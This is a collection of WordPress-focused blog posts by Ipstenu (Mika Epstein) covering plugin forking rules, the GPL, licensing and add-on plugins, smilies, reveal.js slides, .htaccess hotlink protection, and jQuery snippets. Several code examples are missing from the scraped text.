Despite the fact that all plugins in our directory are licensed under the GPL or compatible licenses, we do not allow direct copies of other plugins to be re-listed under somebody else’s name. “Forking” is acceptable only when the resulting fork is of a substantial nature, or when the original plugin is no longer updated or supported.
Always try to contribute back to the original plugin’s authors if you wish to make improvements to the original plugin, instead of creating an entirely new version and thus creating incompatibilities and duplicated code in the repository.
Alternatively, write your own plugin to perform the functionality you want to have, drawing on ideas from the original. Ideas can always be copied.
**Categories:** How It Is
**Tags:** freedom, mailbag, plugins, wordpress
---
### [Who's Following Me Anyway](https://halfelf.org/2013/whos-following-me-anyway/)
**Published:** November 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Welcome to the Internet, where everything's made up, and the points don't matter.
**Content:**
There are two basic ways to deal with tracking people who follow you on the internet: don’t do it or overdo it.
In a recent post, [Brian Gardner](http://www.briangardner.com/embracing-the-unsubscribers/) talked about embracing his unsubscribers, as he noticed a number of people un-subbing after he posted a personal post on his personal site. Since then, my friends and followers have asked me about how I feel, and I’ve had to explain that my basic philosophy of ‘tracking’ followers is this: I don’t.
Now this doesn’t mean I don’t keep tabs on metrics and browsers and the like, to know how to appeal to my readers, but it means the raw numbers, like how many people read a post, are by in large ignored. Except sometimes they’re not. At that point, I agreed that my methodology was complicated, and needed a blog post. So here’s when I do and when I don’t and why I do or don’t as needed.
### It’s Personal
For the most part, I don’t track visitors on *personal* sites. I don’t track metrics. I couldn’t tell you who follows my blog on ipstenu.org, and I don’t really care. It’s my personal blog where I’ve decided to write for me, so if I track anything at all, it’s what browsers. A lot of people read the site on an iPhone? Okay, better have a good theme for that! One person is still using Netscape? Forget about ’em.(Sorry Mr. Netscape. It’s 2013, the Internet called and wants you to upgrade.) I never pay attention to the number of my followers on my personal social media accounts. Facebook, Twitter, whatever. I know who *I’m* following. When you stop being entertaining/interesting/enjoyable, I unfollow. It’s all just me being me for me. You’re welcome to read along, but it’s a personal site for personal people.
### It’s Technical
Okay, so what about my *professional* sites? Well, I do and I don’t follow along, depending on how professional the site is. Take this site, for example. While this is certainly my more professional site (I initially split it out because my family reads the main blog and didn’t care about tech babble), I don’t have a dedicated Twitter account for it, or a Facebook fan page. It’s just another aspect of me. I *do* track metrics here, though. It matters a little more when I’m presenting content for education. I want to make sure everyone can read the site, get the data they need, and move on. And I do keep tabs on my subscription numbers a little, but I don’t actively watch who signs up and who leaves. The way I figure it, if you find the information valuable, you read.
The only times I’ve ever actually noticed traffic here was when [Matt Mullenweg](http://ma.tt/2011/07/constantinople-usability/) linked here and I got a massive uptick of rabid folks pissed off that I’d used the naming of Constantinople as a metaphor (you’re welcome for the earworm), and when Ars Technica linked to my posts about stopping the botnets with [mod\_security](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity") or with [.htaccess](https://halfelf.org/2013/wp-login-protection-htaccess/ "WordPress Login Protection With .htaccess").
This does not mean I haven’t noticed the increase in visitors from tens a day to a hundred and beyond. It just means that since I’m not trying to making a living from this site, it’s not something I dwell on very much. Every time I have to write an article about stats, that means I have to sit and study them here, because I’m just not tracking.
### It’s Professional
But that really wasn’t me being ‘professional.’ What about my site where I have a custom Facebook page, a Tumblr, a dedicated Twitter account, and the whole nine yards? Oh yes, I track. I check analytics to see entry and exit pages, and I even have conversion goals. I notice my bounce rate, traffic flow, and all of those things. For work, yes, I monitor all these things, talk to marketing and sales about how to improve those things, write code to make things serve up faster and better. How did our campaigns go? What should be targeting?
[](https://halfelf.org/wp-content/uploads/sites/2/2013/09/121.jpg)Most importantly here, I try to understand the data I’m getting. We’re really good at collecting data these days, but we’re pretty crap at understanding it and using it to our benefit. How often have you seen [A/B testing result in flawed assumptions](http://yoast.com/conversion-rate-optimization-hypothesise-test/)? It’s not easy understanding what to do with the data. It’s not something you can do quickly, and most of us can use metrics and analysis to prove the point we want to make.
This is hard. It’s *really* hard and worst of all, how much weight you put in everything depends on who your audience is. How hard? Well there is a [science in the testing](http://yoast.com/science-testing/) but not many people use it right.
### It all depends
And that’s really my point here. It *all* depends on what your goal is. Who are your readers and who are you writing for (they may not be the same)? Also who do you *want* to write for?
Everything comes down to having a goal, knowing what you want to do, and doing it. And there is *absolutely* nothing wrong with just writing for yourself.
**Categories:** How It Is
**Tags:** administration, analytics, essay, website
---
### [Software Freedoms](https://halfelf.org/2011/software-freedoms/)
**Published:** March 28, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** GPL does not, cannot, and will not protect the developer who writes the original code. But that's not why we use it.
**Content:**
 Like a million other posts, I’m starting this with a warning: **I Am Not A Lawyer**. Sure, my mom is, but that qualifies me for a cup of coffee, if I have the cash. Personally, I support open-data and open-code because I think it makes things better, but there are a lot of weird issues when you try and pair up software licenses, explain what ‘freedom’ means, and where it’s applicable. For the record, I am *not* getting into the ‘is a plugin/theme derivative software or not’ debate. I will wiggle my toe and point out it *is* a point of contention.
I’m presuming you are already familiar with the idea of what [GPL](http://en.wikipedia.org/wiki/GNU_General_Public_License) is. If not, read the [GPL FAQ](http://www.gnu.org/licenses/gpl-faq.html).
**Why are WordPress and Drupal GPL anyway?**
The people who built WordPress took an existing app (b2) and forked it. Forking happens when developers take a legally acquired copy of some code and make a new program out of it. Of the myriad caveats in forking, you have to remember that the fork *must* be a *legal* copy of the code. In order to create WordPress, Matt et al. were *legally obligated* to make WordPress GPL. No one argues that. The only way to change a license from GPL is to get everyone who has ever committed any code to the project to agree to this, and you know, that’s like saying you’re going to get everyone in your house to agree to what pizza to order.
WordPress and Drupal is GPL because it must be. There is no other option.
**So why is this a problem?**
GPL poses a problem because of interpretations of what ‘derivative works’ are. It’s very clear cut that if you take or use WordPress’ or Drupal’s code, you are taking code built on GPL, which means you must keep your code GPL. The definition of ‘code’ is a bit squidgy. A generally accepted rule of thumb is that if your code can exist, 100%, without WordPress or Drupal’s support, then it’s not a derivative. By their very nature, plugins and modules are seen as derivative. Both [Drupal](http://drupal.org/licensing/faq/#q7) and [WordPress](http://wordpress.org/news/2009/07/themes-are-gpl-too/) have long since stated that this is, indeed, the case.
Themes, modules and plugins are GPL because they must be. There is no other option.
**Except…**
 Except there is. Only the code that relies on the GPL code have to be GPL. Your theme’s CSS and your images actually can be non-GPL (though WordPress won’t host you on their site if you don’t). Also, if you have code that lives on your own server, and people use the plugin to help the app talk to that code, *only* the code that sits on WordPress or Drupal has to be GPL. Your server’s code? No problem, it can be as proprietary as you want! Akismet, a product made by Automattic (who ‘makes’ WordPress, in a really broad interpretation) works like this. So does Google Analytics (most certainly not owned by WordPress), and there are many plugins to integrate WordPress and Google. This is generally done by APIs (aka Application programing interfaces), and are totally kosher to be as proprietary as you want.
Themes, modules and plugins are GPL where they need to be, and proprietary (if you want) where they don’t.
**So what is GPL protecting?**
As we often carol, the GPL is about freedom. And “free software” is a matter of *liberty*, not price. To understand the concept, you should think of “free” as in “free speech,” not as in “free beer.” Freedom is a tetchy subject, misunderstood by most of us. For example, freedom of speech does *not* mean you get to run around saying what you want wherever you want. Free software is a matter of the users’ freedom to run, copy, distribute, study, change and improve the software. This is pretty much the opposite of what you’re used to with the iOS, Microsoft and Adobe. Free software may still charge you, but once you buy the software, you can do what you want with it. Your freedom, as a user, is protected.
WordPress’s adherence to GPL is for the user, not the developer.
**What’s so free about this anyway?**
The term ‘free’ is just a bad one to use in general. Remember, freedom of speech, as it’s so often used in inaccurate Internet debates, does *not* mean you can say whatever you want. ‘Free speech’ means ‘You have the right to say what you want, but I have the right to kick you out of MY house if I don’t like it.’ So what are these GPL freedoms anyway? In the GPL license you have the four freedoms: (1) to run the software, (2) to have the source code, (3) to distribute the software, (4) to distribute your modifications to the software. Really they should be ‘rights’ and not ‘freedoms’ if you want nit-pick, and I tend to think of the freedom of source code to be similar to data freedom. The freedoms of open-whatever are for the people who use the whatever, not those who come up with it.
Software freedoms are for the user to become the developer.
**So if GPL is for the users, what protects the developer?**
 Not much, and this is where people get pissed off. If anyone can buy my software and give it away for free (or pay), why would I even consider releasing something GPL? The question, as Otto puts it, really should be [‘What exactly are you selling in the first place?’](http://ottopress.com/2011/why-you-should-use-gpl-for-commercial-themes/) What are we selling when we sell software? I work on software for a living, and I never sell my code. I’m hired to write it, certainly, and I do (not as often as I’d like). Most of what I do is design. It’s part math, and part art. My contract doesn’t allow me to keep ownership of my art, which sucks, but if I was a painter, I’d sell the painting and lose the ownership anyway, so what’s the difference? That painting can get sold and resold millions of times for billions of dollars. And most artists die starving.
Software Freedom doesn’t stop people from being dicks (though they should).
**So what *good* is the GPL to the developer trying to make a buck?**
It’s not. But that’s not the point. GPL isn’t about the guy who wrote the code, it’s about the guy who gets the code (again, *legally*) and says “You know, this is great, but it should make milkshakes too!” and writes that. GPL is all about the guy who uses the code and the *next* guy who takes the code and improves on it. If you have an *open* community where everyone has the privilege and right to use, view, share and edit the code, then you have the ability to let your code grow organically. If you want to watch some staid, tie-wearing, Dilbert PHB lose his mind, try and explain the shenanigans of Open Source development. “Develop at the pace of ingenuity” versus “Develop at the pace of your whining users.”
Software Freedom isn’t about making money, it’s about making the *next* thing.
**Why would I want to use GPL?**
 If you use WordPress, you use it because you have to. I prefer the Apache licenses, myself, but the purpose of using *any* software freedom license is, at it’s Communist best, a way to make software all around the world better for everyone. You stop people from reinventing the wheel if you show them how to make the axle in the first place! Did you know that Ford and Toyota independently came up with a way to make your brakes charge your hybrid battery? They latter opened up and shared their tech with each other, only to find out how similar they already were! Just imagine how much faster we could have had new technology if they’d collaborated earlier on? With an open-source/free license, my code is there for anyone to say “You know, this would work better…” And they have! And I’ve made *my* code better thanks to them.
I use ‘free software’ open source licensing on my software to make my software better.
**Categories:** How It Is, How It Works
**Tags:** essay, license, software
---
### [Plugin Licenses, Upsells, and Add-ons](https://halfelf.org/2012/plugin-licences-upsells-addons/)
**Published:** July 5, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you can't obfuscate your code, or have an API just to check a license, how are you supposed to earn any money with a plugin in the WordPress repository? Stop thinking about hiding your code and start extending it.
**Content:**
*This post is dedicated to [WPEngine](http://wpengine.com/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). While I don’t use them, I think that if you’ve outgrown WordPress.com and aren’t quite ready to host everything yourself, but you still want the plugins and themes, then you should check these guys out. They aren’t cheap, but then again, I firmly believe in paying for what’s important.*
**Read the comments before you comment. Otto haz the smartz.**
One of the many rules of WordPress.org hosted plugins is you can’t phone home. Actually you can, and the rule really is ‘Don’t phone home without a damn good reason.’ To use Akismet as an example, it phones home with information to help verify who posted on your site, and are they a damn dirty spammer. That’s a damn good reason. But phoning home to check “Did Bob pay for a license?” is not. That’s considered abuse of the “serviceware” guideline, and essentially making an API just to make sure a license is okay isn’t okay. Now making money on your plugins is an awesome thing. But when your code is open source and anyone can see it, how do you keep people honest?
To get down to brass tacks, I’m going to take a little jounrey the wrong way, before I get to some suggestions on how you can provide ‘free’ and ‘pay’ versions of a plugin on the WordPress repository, and not cause any guideline issues.
Let’s start out with the most common way people restrict you: A license key. If you put in a plain license key check like this, it’s easy to crack:
Okay, you say, I want to encrypt things so that I tell someone ‘your license is ipstenuisreallyneatsheismadeofturtlemeat’ but when I look at my code, it shows ‘`774ffc4efce8da294dff77f35f75df98`‘ instead (that’s `md5(ipstenuisreallyneatsheismadeofturtlemeat)` as it happens). Wait. We can’t encrpyt code. Or rather, we can’t include encrypted code in a plugin, it’s against the no-obfuscation rule. We’d want to decrypt that instead. So I give you the code string instead and run it this way instead (Just pretend that `$options['license']` is a site option.):
But then I have the problem of anyone can just look and see what’s going on again. You could go the extra step like putting `ipstenuisreallyneatsheismadeofturtlemeat` in a file and then pull off something like this:
Is this easily decrypted? Yes. Is this easily circumvented by editing the code and removing the if? Again, yes. In fact the only way to really do this would be to use an API on your server to check the validity of the license (which you can’t do if you want to be hosted on WordPress.org anyway – no APIs just to check licenses), and *even then* I can strip mine your plugin and remove all checks like that. So why bother? Because you want to make a living on your code, and that’s certainly a fair-go! But as Otto rightly says, [we can’t stop piracy, so why are we trying](http://ottopress.com/2011/why-you-should-use-gpl-for-commercial-themes/)? DRM doesn’t work, and reverse engineering hasn’t proven sustainable. Maybe we’re building the wrong mousetrap.
If we throw the code solutions out the window, because we know they won’t work, where are we left? The next most common thing I see is people offering two plugins. A free, totally open GPL one on the WordPress repository and then a version behind a pay-wall that you would ‘replace’ that free one with. For example, I have a Rickroll plugin, and let’s say I wanted to make a Rickroll Pro version that let you change the video to anything you want, just put in the YouTube URL. I would have a settings page on my free version that pretty much says “Hi, if you want to change the video, visit halfelf.org/plugins/rickroll-pro/ to download.” And now I have to code Rickroll Pro to check if Rickroll (free) is installed and active, and refuse to activate if so. Furthermore, my users have to be told to delete the free Rickroll.
You know what? That’s a pain in the butt. What if instead I coded a Rickroll Pro add-on. No, I don’t mean ‘add this file to your plugin’ but ‘Install this second plugin, which will add functionality to Rickroll.’
It’s a second plugin, yes, but now I can have Rickroll free look for Rickroll pro. Not active? The settings page (which I would keep in Rickroll free) would tell you ‘Hey, you don’t have Rickroll pro! Install it and get more things!’ or ‘Hi, you have Rickroll pro installed by not active. Don’t you know it’ll never give you up? Activate it and have fun!’
Now the code muscle becomes a question of ‘How do I ensure my dependency checks work?’ First, [Scribu wrote an awesome plugin dependency plugin](http://wordpress.org/extend/plugins/plugin-dependencies/), and the only flaw with it, is you’d have to install a third plugin. We don’t want that here, since yet another plugin is problematic. But looking back, that code grew out of a trac ticket about [handling plugin dependencies](http://core.trac.wordpress.org/ticket/11308). Now there’s a nice way to check: [is\_plugin\_active()](http://codex.wordpress.org/Function_Reference/is_plugin_active)
You could go to town with the checks in there. Like if the plugin isn’t active, deactivate the child and so on and so forth. I’m not going to write it all for you (though [Otto wrote a lot about it for themes](http://ottopress.com/2012/themeplugin-dependencies/))
Now going back in your parent plugin, you can run the same check:
The one last thought I had on this was how to handle pro upgrades. Since I don’t like to upgrade a plugin a lot unless I have to, I’d make it an ‘upgrade both’. In Rickroll Pro I’d set a version constant, and then in that check to see if it’s active call, reference that version. So Rickroll, after verifying Rickroll Pro is active, would come back and say ‘My current supported version of Rickroll Pro is 1.5 and the constant is set to 1.0. You should upgrade!’ Then every time I write a new version of Rickroll Pro, I’d update Rickroll to point to the new version, and when they upgrade from WP, they would get notified about Rickroll Pro needing an update too.
Probably not the most efficient or effective way about it, but the other option is [a self hosted plugin update API](http://clark-technet.com/2010/12/wordpress-self-hosted-plugin-update-api).
Bear in mind, because of GPL, all these hoops and ladders can be circumvented. Your plugin can and will be taken away for free. Don’t fight the pirates with registration circuses, and limit the weight of your code by selling the right thing. It’s a strange idea to think that giving your code away for free will help you earn money, but at the very least, not fighting against the pirates will give you time to write better, more secure, code. And that certainly will earn you more money. Then sell your support, because that time **is** money.
**Categories:** How It Is, How To
**Tags:** freedom, license, open source, plugins, wordpress
---
### [New Smilies?](https://halfelf.org/2014/new-smilies/)
**Published:** May 5, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I switched to using the new smilies ala WordPress.Com. It wasn't hard.
**Content:**
While the arguments for and against are pretty hot and heavy (see [the trac ticket for more](https://core.trac.wordpress.org/ticket/24970)), it’s no secret I’m pro-new smilies. The old ones are too small, too pixelated, and too (pardon the phrase) web 1.0. They look *old* and out of date on my site.
Here they are at normal size:

And here’s double:

These are both gifs, to illustrate the size issue. Notice how they’re fuzzy?
I want to make one thing clear, pun intended. *None of my issues have to do with Retina*. I don’t like ‘small’ anything. The smilies are too small, much like the font on many people’s websites, the pixelization is hard for me to identify. In fact, while I’m using the new smilies here, you’ll notice they’re bigger. Sure, cause I tossed this in my CSS:
And that’s all it took to make them something I felt was readable. But the beauty, and why I like the new SVG images, is that I *can* make them larger like that, without losing readability.
Thankfully, due to the curmudgeony efforts of the new smilies’ biggest naysayer, Otto, we have a filter! I’ve talked about this before, in [how I handled both SVG and PNG as smilies for IE](https://halfelf.org/2013/ie-8-and-svg-smilies/). I have a couple options here. I could write some code myself, or I could use [New WordPress.com Smileys](https://github.com/avryl/new-smileys) (which is on GitHub for reasons, the code is fine!).
I like the plugin a lot. I like it so much, I refactored my SSL Grins plugin to use them with the fancy pants new span code (instead of images). But… Well, I already had this done by the time his plugin came out, and I like how I accounted for things differently. The only real difference though is he uses spans, and I just swap out the images:
But why don’t they all show up in my comments section? Where’s the martini!? I also upgraded my plugin [SSL Grins](https://wordpress.org/plugins/wp-grins-ssl/) with an ‘easter egg’ of code that hides anything in this array of [smiled\_hide](https://plugins.trac.wordpress.org/browser/wp-grins-ssl/tags/5.2/wp-grins.php#L84). This works on both my version of the smilies plugin and Avryl’s. and looks like this:
Now this is possibly the jankiest, stupidest, code I’ve written in a while. I’d rather just have the words be there, and filter “If any of the values in this array is a partial match to the name of the smilie we’re looking at right now, don’t show it.” But I’m not clever enough with arrays and preg matching at this point, so I did that ugly list, and used this:
So at this point, [pull requests are welcome](https://github.com/Ipstenu/wp-grins-ssl) because I’d love to clean that up!
**Categories:** How To
**Tags:** css, function, javascript, wordpress
---
### [All is Revealed](https://halfelf.org/2014/all-is-revealed/)
**Published:** May 14, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Faster slides with HTML5 and all is revealed!
**Content:**
I had [some issues with SEO Slides in the past](https://halfelf.org/2013/seo-slides-pie/ "SEO Slides Is A Pie"), mostly around how it’s not *quite* what I need while also being more than I need and less. I banged around this for a while, before I remembered that I’ve seen a lot of people use WordPress for slides in a way that I never really loved, while others used something decidedly *not* WordPress.
Step back.
I don’t believe that I should use WordPress all the time just because I’m a WordPress person. I thought about what I want from my slides:
1. A way to load them locally or remotely
2. A way to control them and see my notes
3. Usable on mobile
4. Embed-able by me and me only
5. “SEO” friendly
That last one really means “HTML should be readable so a screen reader could make sense of it for the blind.” And that’s really the primary reason I ended up with SEO Slides to begin with. But when I stepped back to really think about what SEO Slides did, and what I needed, I realized that while I really do love it, it made it harder for me to *make* slides.

Let me explain. SEO Slides’ interface is not the WordPress post editor. I suspect, if it was, I’d be happy since I can mangle HTML there all day long. But SEO Slides doesn’t let you at the source code of the page, you have to use their GUI, and I was having a hell of a time with things like centering and floating and wrapping… All things I’m a boss at with HTML.
In addition, I’d recently discovered serious limitations with pageload, especially on mobile. The fixes in 1.5.0 didn’t fix it for me (actually it became worse with my slides taking over fifteen minutes to load, at which point I gave up). This is not to say I don’t love SEO Slides and what it does, it just didn’t fit my personal workflow. As much as I loved it when I did my EDD presentation for WP Sessions, I wasn’t satisfied.
So as I contemplated my vodka over Passover, I came to the possibility that maybe WordPress was totally overkill for slides. Maybe, like with a Gallery, it was too much and too complicated for something that should be more simple. To me, HTML is simple. It’s straight forward, direct, and I still use it every day. With the exception of paragraph tags, I wrote this post in HTML mode.
I did what comes naturally to me. I went and poked around what some of my friends have done (and kept up or not…) and finally decided that I was going to try out [reveal.js](https://github.com/hakimel/reveal.js).
Wow.

Installing was simple, just a git clone. And while the directions claimed you can’t use speaker notes unless it’s running locally, I found this not to be the case. Maybe it’s because I’m on Chrome, or maybe that’s not updated. Either way, it’s awesome for me since I can suddenly control my slide-deck on my laptop. Making my own slides was also pretty basic, I made a folder for each deck, tossed in the images and the index.html, and went to town. It’s really that easy to do, though I wish there was a basic, example, and not just the big one. Still, a search and replace of HTML is super fast.
It loads faster than SEO Slides, works better on my iPad, and the only thing I can’t do is embed. I’ll live. I’m also sure it can be done, since (the freeium version that hosts it for you) [has an embed ability](http://help.slides.com/knowledgebase/articles/254996-embedding-decks). The other massive gain is that it’s smaller. When you upload media to WordPress, you get multiple images, and I have to pre-load each page (or load it on the go). This gets heavy since I like background images and pretty things.
With reveal.js, I just upload one image and I’m done. It loads everything at once, since it’s one HTML page, and the image (while large) is just reused. And that was good enough for me. Also I get to use [remotes.io](http://remotes.io/) to remote control my slides from my notes (I use the iPhone app [Scan](https://itunes.apple.com/us/app/scan-qr-code-barcode-reader/id411206394?mt=8), by QR Code City, and paid for it because I hate ads).
I may go back to SEO Slides (who should consider an import from reveal… Hmmmm) but this works for me now. We’ll see if I love it in the long term. I suppose I should actually read stats and see if anyone but me even cares about the slides…
**Categories:** How To
**Tags:** coding, design, javascript, slides
---
### [Hotlink Protection](https://halfelf.org/2010/hotlink-protection/)
**Published:** August 11, 2010
**Author:** Ipstenu (Mika Epstein)
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2010/08/image-missing.png) Hotlinking is putting a link to someone else’s webpage’s graphic on your site. This is also called bandwidth theft. Directly linking to a website’s files (images, video, etc.) means that when someone accesses your website, they draw bandwidth from another. If you use an `IMG` tag to show a picture from someone else’s page on your blog, forum post, or website, that’s hotlinking. You’re stealing their bandwidth.
There is a case in which this sort of ‘theft’ is ethically permissible, though some webhosts don’t like it. If you have multiple Yahoo! sites, and one is low on bandwidth, you can shuttle some of your content to the other site, and thus split up the bandwidth. This isn’t always a good idea, as if it’s against the Terms of Service on your host, they can kill you. Which is why you should always back up your websites on your on computer. If you own your own domains (like I do) and have multiple ‘subdomains,’ then it’s okay to share an image. ipstenu.org is considered a different website that photos.ipstenu.org, so I have to tell my server it’s okay to share between the two. But that’s code geeky.
What the common websurfer needs to know is this: direct linking to a picture, movie file, or any other content on someone else’s site, unless it’s a simple URL link to that site, is bad form, ethically asinine, and impolite. It’s akin to stealing electricity from your neighbor by plugging into their outlets.
But what do you do when someone’s hotlinking to your server? Most of us find out about this via a nastygram from our webhost saying we’re using too much bandwidth. Bandwidth controls how fast you can view the net from your home, as well as how much data a website can share with the world each month. Having more bandwidth is better all the time, but forcing users to use more bandwidth with image heavy sites and poorly coded web pages is not cool. Still, sometimes you have a moderate site and one image becomes super popular.
This is where you need to learn about hotlink protection. The most basic code is this:
```
# Simple Hotlink Protection
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yourdomain.com(/)?.*$ [NC]
RewriteRule \.(gif|jpe?g?|png)$ - [F,NC,L]
```
This basically says ‘If you’re not from yourdomain.com, and you’re trying to see an image, you’re not me, go away. Sometimes I make that last line something like this:
```
RewriteRule \.(gif|jpe?g|png)$ http://mydomain.com/hotlink.gif [NC,L]
```
Which shows them a ‘No, don’t do that’ image. If you’re going to do that, use a SMALL image, since that will use up some of your bandwidth.
For most people, that works just fine, but I’ve run into a couple situations that were weird.
## Multiple Subdomains
If you’re using a lot of subdomains (like, say, with WordPress MultiSite) you’ll find pretty quickly that the normal hotlink protection rule will block subdomain.yoursite.com from getting images from www.yoursite.com and we don’t want that! For one subdomain, it’s an easy fix:
```
# Simple Hotlink Protection
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yourdomain.com(/)?.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://(subdomain\.)?yourdomain.net(/)?.*$ [NC]
RewriteRule \.(gif|jpe?g?|png)$ - [F,NC,L]
```
But what about multiple sites? At 12 subdomains, you don’t want to have to add these links in manually every time! Thankfully, the geniuses at Perishable Press have [created the Ultimate htaccess Anti-Hotlinking Strategy](http://perishablepress.com/press/2007/11/21/creating-the-ultimate-htaccess-anti-hotlinking-strategy/). You can read the whole post for the details, but here’s the basic code:
```
# ultimate hotlink protection
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} \.(gif|jpe?g?|png)$ [NC]
RewriteCond %{HTTP_REFERER} !^https?://([^.]+\.)?domain\. [NC]
RewriteRule \.(gif|jpe?g?|png)$ - [F,NC,L]
```
Simple. Elegant. Genius. All you have to do is change **domain** to whatever your domain is. Notice there’s no .com or .net in there? There doesn’t need to be. This is the one I use for this site:
```
# ultimate hotlink protection
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} \.(gif|jpe?g?|png)$ [NC]
RewriteCond %{HTTP_REFERER} !^https?://([^.]+\.)?ipstenu\. [NC]
RewriteRule \.(gif|jpe?g?|png)$ - [F,NC,L]
```
That’s it. Just change domain to ipstenu and I’m done.
## Letting Other Sites Use Your Images
The other major gotcha to this is what about other sites where it’s okay if they link to you? For example, I have a livejournal site (I know) that’s a mirror of another blog. To take care of that, I added in this as my last condition:
```
RewriteCond %{HTTP_REFERER} !^http://ipstenu.livejournal\. [NC]
```
Here I specified the URL a little more, since I don’t want all of livejournal nabbing my images. Of course, ironically enough, the line where I call ipstenu has the funny side effect of allowing any URL with the name ‘ipstenu’ in it to access my site. Which is a risk I accept right now.
If you’re using my first example, the simple protection, then just like you added in a subdomain, you add in your other URLs
```
RewriteCond %{HTTP_REFERER} !^http://ipstenu\.livejournal\.com(/)?.*$ [NC]
```
This will save you some headaches down the road, but just remember which one your using. Otherwise, like me when I made a new subdomain, you’ll sit there wondering why the heck the images are broken!
**Categories:** How To
**Tags:** administration, images, wordpress
---
### [Email PopUp](https://halfelf.org/2013/genesis-email-popup/)
**Published:** November 13, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Blame Chris Lema for diving into jquery, CSS, and a pop-up ad that isn't a pop-up.
**Content:**
*Edited to note: The popup is **NOT** on this site. You’re not missing anything.*
[Blame Chris Lema.](http://chrislema.com/) Not for “making” me do anything, but for making a good article that was insightful and inspiring. But then again, he’s good at that.
When I read the article he wrote about [Growing your Email List](http://chrislema.com/growing-email-list/), I was interested. While I don’t have the same needs he does, I do want to pull in more subscribers to one site. Look, in general, I don’t worry about [who’s following me](https://halfelf.org/2013/whos-following-me-anyway/) on my personal sites. However I do have a site, one site, where I do care about the followers, especially since I broke my old mailing list a while back.
### Revisiting My Options
The old mailing list worked, but no one could sign up any more, and it was becoming a hassle. It was finally time to move off the old and embrace some new. But what new? I’m a huge proponent of self hosting, but to be frank, I hated managing email server stuff and Mailman is both long in the tooth and not exactly user friendly for the non-technical people. It was time to accept that this was not my forte, and you know what? I didn’t *want* to learn it. Since 100% of the news on that site was pushed via WordPress, it was logical to use something I already had: [Jetpack](https://halfelf.org/2013/jetpack-koolaid/ "Jetpack Koolaid"). It had subscriptions, done.
### “I broke it.”
That was in the body of the email I sent.
I emailed everyone on that old list and explained the situation. I apologized for my screwup, and explained how they could re-subscribe if they wanted. Within 12 hours, 50% of them did. That was good enough for me, and while I’m watching more people trickle in, I think it’s going to top out around a 70% retention rate. That’s not bad at all. A handful of people emailed me back laughing (literally ‘LOL’ was the entirety of more than five replies) and saying it was okay, thank you for letting them know. I was heartfelt, I was honest, and I was deprecating.
I’ve always had a link to my email list in my sidebar as an alias, `domain.com/updates` linked to `domain.com/mailman/list/updates`, so changing that to an actual page all it’s own with a subscription form was crazy simple. New page, delete redirect, done.
Back to Chris though. See, the most enlightening thing I gleaned from his email was the horrifying fact that *pop-ups work*. He didn’t give me stats or anything, but I believe him. When I read that, I believed him enough that I went and read other articles about those ‘non-annoying’ pop-ups. Chris and I are vastly different people, passionate about different things, and obsessive about others. But we share a talent for writing, telling stories, and engaging. We also share a hate of pop-ups. His is certainly *not* annoying.
Actually I’ve barely noticed his, except to go “Oh, there was a pop-up to get him in my email.” No, I didn’t sign up, I like getting Chris in my RSS box.
### jquery
This was the hardest part so let’s tackle it first. All I have to do is show it in a pop-up. Except it’s not *really* a pop-up, it’s a sliding tab. Sure, I could use anything I wanted, but like Chris, I hate pop *ups*.
This part stumped me hard. Chris got it easy by having a third-party hand him the code. I, like many people, have an email list and want to use that. But I’m still very much a rookie when it comes to jquery, so when I ran into this information about [how to code a wordpress.com follow button](http://fgiasson.com/blog/index.php/2011/10/02/wordpresss-follow-button-for-non-wordpress-com-users/) and [Follow me button on WordPress with MailChimp](http://lightdigitalmedia.com/2013/07/follow-me-button-on-wordpress-com-with-mailchimp/), I did a little dance.
The jquery actually comes straight from WordPress.com (I viewed a *lot* of source to reverse this one):
If I enqueued that in my theme, then all I’d have to do is call this somehow in my theme:
The jquery would automatically handle placement and everything, so I struck upon the dead-simple solution.
### Widget
Since I only need to use this on a WordPress site, I put it in a widget, and slapped some CSS around it to make it sexier. The very simple [(Genesis skewed) widget](http://my.studiopress.com/tutorials/register-widget-area/) is as follows:
Yes, I hard coded in the “Follow Site” title bit. Couldn’t figure out how not to, since I needed the link in the title. If this was a normal widget, I’d use the ‘before\_title’ and ‘after\_title’ trick, and while that’s supposed to work with Genesis too, I hit a wall and was in a time-crunch. That said, afterwards, all I had to do was drop Jetpack subscribe widget into the widget area, and the jquery code went into a function to show in my footer. Done. Time for the elf to study up on jquery, though, as I still don’t understand it all.
Bonus note:
That little bit of code says “If someone has subscribed, make sure the popup is up when they visit.” It shows them that they *have* subscribed successfully, which is great, but I quickly realized I could tweak that to pop up when someone visited my site from, say, Facebook or RSS links:
The RSS folks are pretty small, and I doubt they care, but the FaceBook people were absolutely delighted. I want to stress that I was doing this specifically because I have *very* non-technical people, and even having a link for email updates was beyond them. But having this slide-up is non-offensive and apparently much needed. My email subscribers tripled within a week.
**Categories:** How To
**Tags:** coding, css, javascript
---
### [jQuery Toggling](https://halfelf.org/2014/jquery-toggling/)
**Published:** November 14, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Just a quick toggling in jquery to show/hide some text.
**Content:**
I was working on some basic code where I wanted a div to show or hide based on a link. This is simple stuff, but it took me a while to remember it since it’s actually baked into MediaWiki (where I normally use it).
First up is my HTML code:
Like I said, this is basic stuff. I can get more into it and do things like change the text of the title when you click, but for now this suffices.
Now for the jquery:
This code got tossed into a toggle.js file and then enqueued with wp\_enqueue\_script, with a jquery dependancy. Done and done.
I’m sure this could be done with pure CSS, but I believe in release and iterate.
**Categories:** How To
**Tags:** coding, javascript, wordpress
---
